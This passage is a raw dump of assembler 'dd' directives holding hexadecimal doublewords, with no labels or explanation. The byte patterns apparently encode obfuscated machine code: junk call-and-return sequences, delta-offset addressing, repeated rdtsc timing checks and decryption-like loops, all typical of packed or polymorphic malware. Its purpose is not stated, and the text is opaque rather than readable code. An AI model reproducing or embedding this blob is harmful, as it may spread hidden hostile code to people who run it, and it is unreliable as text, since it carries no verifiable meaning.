		dd 0F98B07C0h, 8900C083h, 1F080D8Dh, 0FD03B06h,	2383h
		dd 0A19D2900h, 0E9061F19h, 56h,	12890Fh, 0DE90000h, 79000000h
		dd 5B4EF101h, 611F01DFh, 0F8DE134h, 0FFFF8D8Bh,	6E8FFFFh
		dd 0CC000000h, 8F289C1Ah, 0FBB70F75h, 1E1835Fh,	20840Fh
		dd 0B5890000h, 61F1D41h, 0FFFFA583h, 8BFEFFFFh,	89589FBh
		dd 2B000000h, 1F00859Dh, 0E906h, 0B58D0000h, 6233E80h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 47C35646h
		dd 1CCB8092h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 9DE722C3h, 0E7816660h, 0FE9FF6Fh
		dd 3F000000h, 0F4EC9734h, 0F071AD74h, 1C9B6688h, 0FF6141A8h
		dd 1F1D4595h, 0BE906h, 0A9410000h, 0F2F09B3Ah, 0B5EF4595h
		dd 0F2AB9CDh, 85890000h, 61F1BD5h, 6AFCE183h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0FC1CC355h, 129D9D8Bh, 0C02B061Fh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 0B5C35545h,	70EC3325h, 89F0AE0Bh
		dd 1F0FF59Dh, 0CE906h, 0B3540000h, 49AFF823h, 0F963DB43h
		dd 0BABC7Bh, 0BF000000h, 832F62Ah, 0D1C233ADh, 83D003E8h
		dd 0F47504E9h, 12E8h, 946FD500h, 0E6616122h, 2B12D040h
		dd 462BEC3Ch, 89A9E1B8h, 1F2D1985h, 81605F06h, 92790FD3h
		dd 81BD8B47h, 61061F18h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 1DC35040h, 53185641h,	880D1182h, 89000000h
		dd 1F1051B5h, 5D958B06h, 81061F0Bh, 9DA407D7h, 0C58D8B58h
		dd 6A061F20h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 0E8D1C357h, 0E836E594h, 18BE99C3h
		dd 8B508BB7h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 1EE18D31h, 6A061Fh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 180424h, 57470000h, 0FB966C3h, 0BD8B5D4Fh, 61F0D91h
		dd 78DBD83h, 0F00061Fh,	3484h, 0D59D8B00h, 0B8061F20h
		dd 0
		dd 4DB08D8Dh, 0BAB7061Fh, 14DD9D8Bh, 0E1FF061Fh, 0DE8h
		dd 0D328A000h, 4F2E7163h, 98C6702h, 9D03EDD9h, 61F2C21h
		dd 7DBD835Bh, 61F13h, 492840Fh,	11E90000h, 34000000h, 5BF8EF52h
		dd 0A8B04251h, 4581E395h, 3572B953h, 137DBD83h,	0F01061Fh
		dd 48A84h, 14E900h, 0E6AF0000h,	0CC923AB6h, 3F3071EDh
		dd 0A6A830Ah, 0BFC366C0h, 858905F5h, 61F1391h, 137DBD83h
		dd 0F03061Fh, 42886h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 2FB436D9h, 60D99924h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 5BC35141h
		dd 0C7DEFDA2h, 80B36335h, 66DE8B4Eh, 8E0FD98Ch,	3, 80FABF0Fh
		dd 0C90A04E1h, 156840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1C0424h, 52420000h, 0BB1478C3h, 2D81FB16h
		dd 8D29814Ah, 61F16F1h,	0DC1858Bh, 6A061Fh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 28593CC3h
		dd 0C98533FCh, 33061F2Eh, 1F033DBDh, 90DA8B06h,	3B5DBB66h
		dd 0FB8B6650h, 0D8B70F90h, 8B006AF9h, 4E8DAh, 3FF0000h
		dd 0F50001Fh, 1286h, 0E9525000h, 5, 0AEE44C6Dh,	0B7310F7Bh
		dd 8B585AF3h, 66042444h, 8BDE8Bh, 13E85250h, 79000000h
		dd 0A570669Fh, 632D90B2h, 219E946Bh, 0D7A1999Ch, 61600178h
		dd 52310F5Bh, 5E8h, 5D8D8F00h, 5B5B0C51h, 4489585Ah, 8B530424h
		dd 6A585BF8h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 9911C355h, 74129B8Ch, 0BE9B8F3h
		dd 0F7000000h, 8EE6F70Bh, 6AAB3A59h, 95FFB402h,	61F2DE1h
		dd 0F7816652h, 895B4CC1h, 22B25585h, 0DE806h, 5B410000h
		dd 0DC8896A8h, 2771FAD9h, 669C64ECh, 0C8FEC781h, 20BE95Bh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0DB2F31C3h, 0F3F39DBFh, 0B24D858Bh, 85890622h
		dd 61F0D31h, 1800C7h, 0FE80000h, 69000000h, 19113B64h
		dd 795630D2h, 18989307h, 0C6BB80B5h, 5F612D98h,	0B251B58Bh
		dd 6A0622h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 4E8B91C3h, 1F1FBFCDh, 499D0BBFh, 8B061F2Ah
		dd 1F13A185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 108220D4h, 0F1B5096Ah, 89061F0Eh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 8B68E787h, 0B440D97h, 858BCB02h,	61F0DC1h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0CC35747h
		dd 953AB89h, 1F163DB5h,	0F99D8B06h, 89061F0Ch, 95290446h
		dd 61F02E1h, 50F98B96h,	8B665250h, 0F310FF9h, 480h, 0ABB6600h
		dd 96585AC8h, 16899D23h, 0B5FF061Fh, 622B24Dh, 2DD9BD8Bh
		dd 1F68061Fh, 50F2AE13h, 5A310F52h, 24048158h, 0D70F0E0h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0CEC35141h
		dd 0D5A3B0E3h, 0D98E6655h, 8DFE8B66h, 22B25585h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1C04h, 0C3554500h
		dd 0D761843h, 7314F0ADh, 0CE88Ah, 0A1050000h, 5535E90Bh
		dd 241D61C6h, 905FDC97h, 7777BF66h, 10E850h, 60230000h
		dd 65E11C62h, 0BD81EBC0h, 602C7D02h, 10E814D5h,	0F2000000h
		dd 37036C3Eh, 0E67CAC98h, 9CA1BC35h, 0BB94F719h, 1F0A0434h
		dd 8B905B5Fh, 0E195FFDAh, 6A061F2Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 8B17C357h
		dd 1F23A5BDh, 95896106h, 61F087Dh, 57DB8166h, 7D85C741h
		dd 3061F13h, 80000000h,	0BD83CEDBh, 622B255h, 62840F00h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 0D7E1C352h, 7CD518B8h,	919D8B79h
		dd 0E9061F0Dh, 50h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 0B8C35545h, 5B739390h, 0E9B66242h, 7
		dd 0E3ADBED4h, 330FAC19h, 1F09D9BDh, 0C305006h,	11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 86C35747h, 16870FCFh, 51000000h
		dd 0FE9h, 0BAA49100h, 899F4206h, 0E15118B4h, 6665D00h
		dd 6AF95Fh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
		dd 51410000h, 0D4532AC3h, 29B6C2D9h, 1F0EDD85h,	7DBD8306h
		dd 3061F13h, 480850Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 160424h, 57470000h, 287053C3h, 11A99D8Bh
		dd 0BD83061Fh, 622B255h, 4F840F00h, 8B000004h, 1F2B299Dh
		dd 55B5FF06h, 6A0622B2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 36B5C357h, 399D2B38h
		dd 8B061F24h, 1F08C19Dh, 0C995FF06h, 81061F1Bh,	727752C3h
		dd 49B58B58h, 6A0622B2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 0A248C357h,	627FBDCh
		dd 12E855h, 6D880000h, 3656A724h, 0D6530C9Bh, 0C68DEE39h
		dd 5BE1FAE9h, 5FFE8B66h, 106C7h, 6A0001h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 150424h, 55450000h, 897F9DC3h
		dd 1F23D19Dh, 0E99D8B06h, 50061F0Ch, 13E9h, 4F38000h, 28FB8F8Eh
		dd 6946BAE4h, 29A3A4A8h, 3DD0F10Bh, 66243489h, 0B5FFF88Bh
		dd 622B255h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	10C35141h, 68DAE5Eh, 0FDA25B13h, 162195FFh, 0D381061Fh
		dd 7052C0CDh, 0B249B58Bh, 12E90622h, 6B000000h,	10F765DEh
		dd 0E41A509h, 3E97668Ch, 20BF883Fh, 0F1858B47h,	8B061F2Fh
		dd 1F15A19Dh, 0C4868906h, 6A000000h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0F75C355h
		dd 583h, 2A22BB00h, 958B0480h, 61F0B5Dh, 0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 71C35242h, 13751C36h
		dd 0E8F79AF0h, 5, 77106531h, 6D8D0104h,	5F061F2Bh, 6A04C283h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 0D3B7C353h, 5D3EC5E0h, 16E19509h,	9D8B061Fh
		dd 61F028Dh, 1205089h, 1F02718Dh, 97858D06h, 8B0622C7h
		dd 0B88689DEh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 0E8BDC357h,	20C72390h
		dd 7FAE60FFh, 10E9006Ah, 0E000000h, 41B95016h, 2CBE45DAh
		dd 729D8C1Bh, 0FFDD7211h, 22B255B5h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8B6681B7h
		dd 5595FFD8h, 6A061F2Fh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 15042444h, 47000000h
		dd 5162C357h, 7E951h, 0A9840000h, 0AFABC5A7h, 60505B62h
		dd 10810Fh, 0BE90000h, 0D1000000h, 4C20BEF1h, 0BED4F249h
		dd 6E9E3ADh, 0F2000000h, 541D511Ch, 34896161h, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1704h, 0C3574700h
		dd 9A5C2534h, 1C398589h, 90BF061Fh, 0FF1B3200h,	22B255B5h
		dd 0FD9D8B06h, 0FF061F18h, 1F0E1D95h, 0F65ABF06h, 85895218h
		dd 61F12D5h, 2C0DBD83h,	0F00061Fh, 4684h, 3DBD0100h, 96061F2Dh
		dd 22CABF66h, 0F98B6650h, 57006A96h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 394770F8h
		dd 8E84Dh, 31250000h, 0EBEB1290h, 0FA8BD242h, 19D8B5Fh
		dd 0FF061F2Fh, 22B255B5h, 0FE906h, 0BBD70000h, 33B8D88Bh
		dd 0EEF49E71h, 99239E2h, 0AEB8197h, 0FF161A13h,	1F134995h
		dd 3DC78006h, 0CCDBD8Bh, 0B5FF061Fh, 622B255h, 901BD8Bh
		dd 95FF061Fh, 61F1075h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 9CC35040h, 8C7FF3C9h,	66828E01h, 0BD83FA8Bh
		dd 61F0009h, 4E840F02h,	6A000000h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 5DFCC351h
		dd 8B8DD14Ah, 8BFA8BD9h, 1F175185h, 0F7816606h,	0C6F09Ch
		dd 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 9185C734h, 61F12h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 316CC356h, 1818739h,	0CE829h, 0DF910000h, 0D4693A27h
		dd 0B0DFC42Fh, 8B6636EFh, 8B665FD8h, 10E9F8h, 22C80000h
		dd 0EA2E528Dh, 5B9946h,	0F0C91B17h, 0A1E92430h,	6AFFFFF2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 0FC37C351h, 27687332h, 0EE5FE02Dh, 6AC18Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0F27677C3h, 0BA5B0BEBh, 0CCDF8166h, 858DFCCDh, 61F19BDh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FCC35545h
		dd 0FD98B06h, 88Bh, 8D895000h, 61F1FD1h, 8BBF905Bh, 5011E415h
		dd 0B7525060h, 0BB310F09h, 6C406D0Dh, 0B966585Ah, 9061575Eh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0AAC35242h
		dd 0F19D8B86h, 6A061F0Ch, 0D7816600h, 0BD8B8939h, 61F24BDh
		dd 8B66006Ah, 0D3858DDAh, 6A0623CDh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 4056C350h
		dd 922D9960h, 262DE595h, 6A05C083h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 9AA7C352h
		dd 5050FC14h, 895BDE8Bh, 6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0DE27C3C3h, 8166006Ah
		dd 6A09D9DBh, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 0B72BCB75h, 0A1BD33A1h, 0FF061F2Bh
		dd 1F016195h, 6BF6606h,	0F28D8D36h, 6A0622B1h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 0A73AC355h, 9F91279Ch, 0F14C48CEh, 0BD8BD1FFh, 61F2B7Dh
		dd 2B758D29h, 0BD83061Fh, 61F0EF5h, 8C850F01h, 0E8000000h
		dd 14h,	696F2017h, 0C664AE37h, 1D8AE092h, 0A73AAD1Fh, 9F91279Ch
		dd 6A026A5Bh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0C92CC352h, 8BEC95E3h,	1F1605BDh
		dd 66579006h, 5B7D39BFh, 0DA8B6650h, 0D19D8B90h, 66061F18h
		dd 95FFF88Bh, 61F2F55h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 75C35040h, 1F64CDE5h,	9810Fh,	830F0000h
		dd 3, 0E9F98B66h, 0D8Ch, 0E8h, 0ED815D00h, 623CDDDh, 6A9AEF80h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 4580C351h, 816A482Ch, 5DADDACBh, 0E4858D55h
		dd 6A06228Eh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 4767C356h, 9E9h, 0E0F31C00h, 0A8EA7025h
		dd 505039AFh, 8E852h, 87720000h, 0D792A7B0h, 2BB0633h
		dd 5B1CB72Eh, 0FE8310Fh, 0D2000000h, 0F749CBC3h, 0D4AE67C4h
		dd 0ECE8D98Ah, 5A5F9DD7h, 24048958h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0E6C35242h,	0B44DCC72h, 3DF3C73Ch
		dd 35FF647Ah, 0
		dd 258964F8h, 0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 36C35040h
		dd 685B0103h, 0FFDEB70Fh, 1F102985h, 0E1952906h, 6A061F18h
		dd 56006AFFh, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 0F16BEEAFh, 0B5FFBF30h, 61F0749h, 0B810Fh
		dd 29600000h, 1F202D95h, 0D7BF0F06h, 0ED95FF61h, 0E9061F1Ch
		dd 0CEh, 0B0DF8Bh, 70E6DA8Bh, 30658589h, 71E4061Fh, 830F613Ch
		dd 0B6h, 0C8B60FF5h, 32E58D01h,	6BA061Fh, 0F000000h, 683h
		dd 8DB58900h, 8B061F15h, 0E8C1FCC1h, 0BABF6604h, 0E2F76646h
		dd 2D119D8Bh, 0C82B061Fh, 0BFD18BF5h, 768900FAh, 77E9FE8Bh
		dd 8B000000h, 185h, 29B50900h, 83061F20h, 8D8907C0h, 61F13D9h
		dd 9C99D8Bh, 0C083061Fh, 37BF6600h, 0FD03B95h, 1283h, 5800F00h
		dd 0BF000000h, 20F3C2DEh, 3DE9h, 8B3BB700h, 0FFFFFF8Dh
		dd 0C7F9BBFFh, 0E1834D4Ch, 27840F01h, 81000000h, 2E4BF6CFh
		dd 8DB5895Fh, 83061F12h, 0FFFFFFA5h, 8B66FEFFh,	19589FBh
		dd 8B000000h, 1F2089BDh, 0E906h, 0B58D0000h, 6234DAAh
		dd 0C6F78166h, 0A995893Dh, 6A061F10h, 0B5958900h, 0FF061F0Bh
		dd 1F1D4595h, 0FE8B6606h, 100FB9h, 50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1D04h,	0C3504000h, 0EA722CE7h
		dd 8B4FAD12h, 840FD77Ch, 6, 16919D89h, 9589061Fh, 61F1109h
		dd 6AFCE183h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 16042444h, 41000000h, 2662C351h, 159D8B36h, 0FC061F15h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 19h, 31C35242h
		dd 0F90C292Ah, 6AC02BDEh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 432AC350h, 14E976F2h
		dd 0CC000000h, 0E252F918h, 5937CAF5h, 8C334521h, 0E28FFF95h
		dd 0BA74FD90h, 0
		dd 946ABB66h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 820F60FCh
		dd 4, 2B2CBE66h, 1DE9B58Bh, 6A61061Fh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 7209C357h
		dd 0D780C4E5h, 880DB5h,	0B5890000h, 61F1129h, 19C18D31h
		dd 958B061Fh, 61F0B5Dh,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 0D5C35141h, 0FD25F7E0h, 19A9E781h, 8A0F6CBDh
		dd 6, 2491BD89h, 8D8B061Fh, 61F20C5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 7FC35040h, 0FAD41E6Fh, 0AD852951h
		dd 5F061F1Ah, 8BC28B50h, 8BC10318h, 0D1C18B18h,	8BC203E8h
		dd 8D895818h, 61F15C5h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 18C35242h, 907F678Bh,	6B750430h, 0F8E0Fh
		dd 0AE90000h, 28000000h, 281AC02Eh, 6743B5EDh, 8DBD8367h
		dd 61F07h, 0C2840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 0EA599EC3h, 15B3C6B7h
		dd 8D0FFE8Bh, 16h, 0AE8h, 0BAC27500h, 2D78F3B4h, 0FCB69BBh
		dd 81h,	0B85B00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 0DFCC352h, 0B08D8D4Bh
		dd 6A061F4Dh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 0F9A8C355h, 2AD04842h,	8969B3C2h
		dd 1F1C51B5h, 6AE1FF06h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 37DBC356h, 0CB9BD300h
		dd 94FA7AE1h, 0E9BD8951h, 5F061F00h, 137DBD83h,	0F00061Fh
		dd 46E84h, 0EF816000h, 7492C00Fh, 11E8h, 0AB153300h, 0FDA791DFh
		dd 0CF8BA071h, 798B857h, 6ABB7F48h, 5E0620A6h, 7DBD8361h
		dd 1061F13h, 458840Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0BF0F97C3h, 7DBD83D8h
		dd 3061F13h, 3F6860Fh, 6A0000h,	3E850h,	58200000h, 448958C3h
		dd 44810424h, 160424h, 50400000h, 0A4E8C1C3h, 1019BD03h
		dd 0B589061Fh, 61F1509h, 50006A60h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1904h, 0C3504000h, 0A6B8759Bh, 8C668092h
		dd 0BD8D29D9h, 80061F0Dh, 6A04E1h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 33E3B6C3h, 1F19CD9Dh
		dd 0FC90A06h, 14484h, 0D9858900h, 8B061F09h, 1F0DC185h
		dd 0FEBF0F06h, 2EC98533h, 0BD8B061Fh, 61F1F8Dh,	8E850h
		dd 0D73F0000h, 0FD411276h, 8E0FA6FBh, 0
		dd 2404895Bh, 6A006AF9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 4C8EC352h, 0F03AFCFFh
		dd 0B2CCA95Bh, 0CBBC40BBh, 4E851h, 3FF0000h, 0A3BB001Fh
		dd 50411A73h, 75C892BBh, 24448B39h, 9286BF04h, 8B7332h
		dd 0B3505250h, 310F5B4Ch, 585ADA8Bh, 4244489h, 52505050h
		dd 585A310Fh, 66585F5Fh, 85DBEB81h, 2DE195FFh, 6A061Fh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 89CA79C3h, 1F11B1B5h, 55858906h, 6A0622B2h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 29D1C356h, 4D6B3A19h, 13E8E9h, 55230000h, 585DAA84h
		dd 8C4EE81Bh, 0C3CC8826h, 0CFC89E1Dh, 0F19D8BAAh, 5F061F1Ah
		dd 1EEE9h, 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h
		dd 1D04h, 0C3554500h, 0D4C335A7h, 15D5E389h, 960557Dh
		dd 1F2B7D8Dh, 0B70F6106h, 4D858BFFh, 90622B2h, 1F158585h
		dd 0C7FC06h, 18h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	0DBC35646h, 34E09C52h, 0C918BC96h, 0F9056BBFh
		dd 0C1BD8921h, 8B061F0Bh, 22B251B5h, 0A19D0306h, 8B061F18h
		dd 1F13A185h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 0CC421558h, 0EEB8ED3Dh, 0B5890689h
		dd 61F1AC9h, 0DC1858Bh,	6A061Fh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 0B9B32AC3h, 48E18992h
		dd 35952909h, 89061F1Fh, 0BF660446h, 8B96D254h,	319650F8h
		dd 1F2A71B5h, 6820F06h,	23000000h, 1F3159BDh, 4DB5FF06h
		dd 890622B2h, 1F1A7D8Dh, 4E806h, 3FF0000h, 5250001Fh, 870F60h
		dd 0F000000h, 82h, 310F6100h, 61605250h, 0DA8A310Fh, 585A585Ah
		dd 0BE850h, 2E640000h, 25B92CC4h, 36A8FB0Fh, 3B77BF75h
		dd 8B5B1B8Dh, 60042444h, 0B2EC28BFh, 61B7B476h,	14E9008Bh
		dd 0D6000000h, 1F6F264Dh, 0E727028Fh, 866EEEC8h, 1ECCB5ECh
		dd 8927CF5Bh, 0B3042444h, 8E95812h, 24000000h, 84D0225Dh
		dd 8D3A1D47h, 22B25585h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 0E14682C6h, 1C0E51EFh
		dd 5840FADh, 66000000h,	1418F381h, 1DBFBF66h, 6A905090h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 8CEFC350h, 0C9040411h, 0FFAE13ABh, 1F2DE195h
		dd 0E1BD8B06h, 61061F00h, 0B759D2Bh, 85C7061Fh,	61F137Dh
		dd 3, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h, 1Ch
		dd 2EC35141h, 22CD0322h, 0B578AB60h, 0A4DBD8Bh,	0E952061Fh
		dd 14h,	6739D1DEh, 0DB30AD4Dh, 0B45155DEh, 22B52220h, 4CF594F8h
		dd 55BD835Fh, 622B2h, 0E840Fh, 0BD8B0000h, 61F1485h, 1EE9h
		dd 0DEB70F00h, 110C3050h, 1114400h, 3010E8C1h, 21144h
		dd 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 51C08B00h, 11999D8Bh, 6A5F061Fh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 4A4DC355h, 83D362A1h, 1F137DBDh, 850F0306h, 3BCh, 55BD83FCh
		dd 622B2h, 3AE840Fh, 13E90000h,	46000000h, 506D9C35h, 94BF216h
		dd 5399CE1Eh, 0FD3F598Dh, 0B5FFB619h, 622B255h,	0C995FFFCh
		dd 6A061F1Bh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0DFFC350h, 0BB66859Ch,	0B58B61E3h
		dd 622B249h, 799D8Bh, 6C7061Fh,	10001h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 8EC35040h, 9789F0F8h
		dd 890FEBh, 50000000h, 3489D98Bh, 55B5FF24h, 6A0622B2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 15042444h
		dd 42000000h, 6335C352h, 8E960h, 63DB0000h, 8FBC7BF9h
		dd 0B58B0959h, 61F1541h, 2195FF61h, 6A061F16h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
		dd 4C82C352h, 0B58BFCB3h, 622B249h, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 19h, 45C35141h, 0F1D1066Bh, 13E9BEh
		dd 7D1C0000h, 1ADB6C56h, 0CCCA28B1h, 96AE1985h,	13181606h
		dd 0DE9E5h, 95B20000h, 89CD4885h, 0F4CAA0AAh, 8B719F7Ah
		dd 1F2FF185h, 0B59D8B06h, 89061F13h, 0C486h, 5D958B00h
		dd 6A061F0Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0C16FC356h, 4C28341h, 2FF38166h
		dd 20508950h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Ch,	0ABC35242h, 75EDBB0h, 1F0C877Eh, 46C1D781h, 858D5813h
		dd 622C797h, 14E9h, 6D601400h, 0B94136CCh, 391C3A0h, 0EDE555CAh
		dd 0DFA4D4F0h, 29B589D0h, 89061F03h, 0B886h, 4D9D8B00h
		dd 6A061F1Ch, 55B5FF00h, 600622B2h, 81D2BF0Fh, 303FAAD3h
		dd 95FF6123h, 61F2F55h,	19958960h, 8B061F2Dh, 1F13DD9Dh
		dd 0F506106h, 3286h, 12E800h, 11680000h, 36EC5948h, 0F75116A1h
		dd 0D6963EDCh, 0C6B190A6h, 14E8h, 24D6B400h, 0B28B8556h
		dd 6EEF3886h, 0A9D1EEF5h, 0BFA1F12Ah, 895B5F03h, 6A2434h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0C15ACAC3h, 2582DF06h, 0EB8121DAh, 616C254Eh, 0B255B5FFh
		dd 0BB660622h, 8B604D1Bh, 1F2BB985h, 0FF14B806h, 0FF6114CDh
		dd 1F0E1D95h, 34C8BF06h, 0BD836AF8h, 61F2C0Dh, 39840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 0D3AFC351h, 89CC5898h,	1F139DB5h
		dd 66565006h, 5B81CFBFh, 0F243489h, 386h, 0D9BF0F00h, 0B255B5FFh
		dd 0F98A0622h, 30218D31h, 95FF061Fh, 61F1349h, 0F2F6C381h
		dd 0B5FF6D7Eh, 622B255h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 91C35343h, 48B0A214h,	577C0B8Eh, 107595FFh
		dd 0BD8B061Fh, 61F0BC1h, 49BD8960h, 80061F0Eh, 836163F0h
		dd 1F0009BDh, 840F0206h, 53h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 15h, 0C1C35040h,	85896011h, 61F2AE1h
		dd 13C98D8Bh, 8B61061Fh, 1F175185h, 8B666006h, 6860FCFh
